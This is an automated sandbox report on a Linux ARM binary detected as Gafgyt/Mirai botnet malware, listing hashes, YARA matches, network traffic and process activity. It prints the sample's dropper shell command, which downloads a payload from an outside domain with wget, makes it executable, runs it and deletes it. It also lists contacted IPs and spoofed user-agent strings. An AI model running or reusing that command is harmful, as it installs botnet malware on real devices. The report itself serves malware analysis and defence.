Linux Analysis Report
armv6l.elf

General Information

Sample name: armv6l.elf
Analysis ID: 1686578
Has dependencies: false
MD5: 68a8fc1986e59eeed7794b894d5ccb05
SHA1: a5535b2ccad74aecfb0974aef581d5855e1e932c
SHA256: e5852f781bea41bb2a31af6eb4aa64785bae66638c95a70ad825e9aa0eb217a3
Tags: elfuser-abuse_ch
Infos: yara

Detection

Gafgyt, Mirai
Score: 84
Range: 0 - 100

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Gafgyt
Yara detected Mirai
Opens /proc/net/* files useful for finding connected devices and routers
Creates hidden files and/or directories
Creates hidden files without content (potentially used as a mutex)
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "rm" command used to delete files or directories
Executes the "wget" command typically used for HTTP/S downloading
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings that are user agent strings indicative of HTTP manipulation
Sample tries to set the executable flag
Sets full permissions to files and/or directories
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Bashlite, Gafgyt Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

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Source: armv6l.elf Avira: detected
Source: armv6l.elf Virustotal: Detection: 65% Perma Link
Source: armv6l.elf ReversingLabs: Detection: 68%
Source: unknown HTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.23:33606 version: TLS 1.2

Spreading

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Source: /tmp/armv6l.elf (PID: 6228) Opens: /proc/net/route Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:48430 -> 92.60.77.69:666
Source: /bin/sh (PID: 6245) Wget executable: /usr/bin/wget -> wget -q http://gay.energy/.../vivid -O ..... Jump to behavior
Source: /usr/bin/wget (PID: 6245) Reads hosts file: /etc/hosts Jump to behavior
Source: unknown DNS traffic detected: query: gay.energy replaycode: Name error (3)
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: unknown TCP traffic detected without corresponding DNS query: 92.60.77.69
Source: global traffic DNS traffic detected: DNS query: gay.energy
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown HTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.23:33606 version: TLS 1.2

System Summary

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Source: armv6l.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: armv6l.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: armv6l.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: 6232.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6232.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: 6232.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: 6228.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6228.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: 6228.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: 6233.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6233.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_6a510422 Author: unknown
Source: 6233.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d2953f92 Author: unknown
Source: Process Memory Space: armv6l.elf PID: 6228, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: armv6l.elf PID: 6232, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: armv6l.elf PID: 6233, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: armv6l.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: armv6l.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: armv6l.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: 6232.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6232.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: 6232.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: 6228.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6228.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: 6228.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: 6233.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6233.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_6a510422 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75, id = 6a510422-3662-4fdb-9c03-0101f16e87cd, last_modified = 2021-09-16
Source: 6233.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_d2953f92 severity = 100, os = linux, arch_context = x86, creation_date = 2021-06-28, scan_context = file, memory, reference = 14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc, id = d2953f92-62ee-428d-88c5-723914c88c6e, last_modified = 2021-09-16
Source: Process Memory Space: armv6l.elf PID: 6228, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: armv6l.elf PID: 6232, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: armv6l.elf PID: 6233, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: classification engine Classification label: mal84.spre.troj.linELF@0/0@2/0
Source: armv6l.elf ELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
Source: armv6l.elf ELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
Source: armv6l.elf ELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
Source: armv6l.elf ELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
Source: armv6l.elf ELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
Source: armv6l.elf ELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
Source: armv6l.elf ELF static info symbol of initial sample: /home/landley/work/ab7/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm
Source: armv6l.elf ELF static info symbol of initial sample: libc/string/arm/_memcpy.S
Source: armv6l.elf ELF static info symbol of initial sample: libc/string/arm/bcopy.S
Source: /usr/bin/wget (PID: 6245) File: /tmp/..... Jump to behavior
Source: /bin/sh (PID: 6249) Directory: /tmp/..... Jump to behavior
Source: /bin/sh (PID: 6249) Directory: /tmp/..... Jump to behavior
Source: /usr/bin/wget (PID: 6245) Empty hidden file: /tmp/..... Jump to behavior
Source: /tmp/armv6l.elf (PID: 6230) Shell command executed: /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....." Jump to behavior
Source: /bin/sh (PID: 6248) Chmod executable: /usr/bin/chmod -> chmod 777 ..... Jump to behavior
Source: /bin/sh (PID: 6251) Rm executable: /usr/bin/rm -> rm -rf ..... Jump to behavior
Source: /usr/bin/dash (PID: 6252) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.nheCLXpZ5L /tmp/tmp.Ex8IQ1Qf5g /tmp/tmp.vb1R40Ge55 Jump to behavior
Source: /usr/bin/dash (PID: 6261) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.nheCLXpZ5L /tmp/tmp.Ex8IQ1Qf5g /tmp/tmp.vb1R40Ge55 Jump to behavior
Source: /bin/sh (PID: 6245) Wget executable: /usr/bin/wget -> wget -q http://gay.energy/.../vivid -O ..... Jump to behavior
Source: /usr/bin/chmod (PID: 6248) File: /tmp/..... (bits: - usr: rwx grp: rwx all: rwx) Jump to behavior
Source: /bin/sh (PID: 6248) Chmod executable with 777: /usr/bin/chmod -> chmod 777 ..... Jump to behavior
Source: /tmp/armv6l.elf (PID: 6228) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/wget (PID: 6245) Queries kernel information via 'uname': Jump to behavior
Source: armv6l.elf, 6228.1.00007ffc5c6c7000.00007ffc5c6e8000.rw-.sdmp, armv6l.elf, 6232.1.00007ffc5c6c7000.00007ffc5c6e8000.rw-.sdmp, armv6l.elf, 6233.1.00007ffc5c6c7000.00007ffc5c6e8000.rw-.sdmp Binary or memory string: Nbx86_64/usr/bin/qemu-arm/tmp/armv6l.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/armv6l.elf
Source: armv6l.elf, 6228.1.0000558eaa6a4000.0000558eaa7f3000.rw-.sdmp, armv6l.elf, 6232.1.0000558eaa6a4000.0000558eaa7f3000.rw-.sdmp, armv6l.elf, 6233.1.0000558eaa6a4000.0000558eaa7f3000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: armv6l.elf, 6228.1.0000558eaa6a4000.0000558eaa7f3000.rw-.sdmp, armv6l.elf, 6232.1.0000558eaa6a4000.0000558eaa7f3000.rw-.sdmp, armv6l.elf, 6233.1.0000558eaa6a4000.0000558eaa7f3000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: armv6l.elf, 6228.1.00007ffc5c6c7000.00007ffc5c6e8000.rw-.sdmp, armv6l.elf, 6232.1.00007ffc5c6c7000.00007ffc5c6e8000.rw-.sdmp, armv6l.elf, 6233.1.00007ffc5c6c7000.00007ffc5c6e8000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

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Source: Yara match File source: armv6l.elf, type: SAMPLE
Source: Yara match File source: armv6l.elf, type: SAMPLE
Source: Yara match File source: 6232.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6228.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6233.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: armv6l.elf PID: 6228, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: armv6l.elf PID: 6232, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: armv6l.elf PID: 6233, type: MEMORYSTR
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Source: Initial sample User agent string found: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: Initial sample User agent string found: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51
Source: Initial sample User agent string found: Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36
Source: Initial sample User agent string found: Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
Source: Initial sample User agent string found: Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Source: Initial sample User agent string found: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0

Remote Access Functionality

barindex
Source: Yara match File source: armv6l.elf, type: SAMPLE
Source: Yara match File source: armv6l.elf, type: SAMPLE
Source: Yara match File source: 6232.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6228.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6233.1.00007f0cbc017000.00007f0cbc031000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: armv6l.elf PID: 6228, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: armv6l.elf PID: 6232, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: armv6l.elf PID: 6233, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs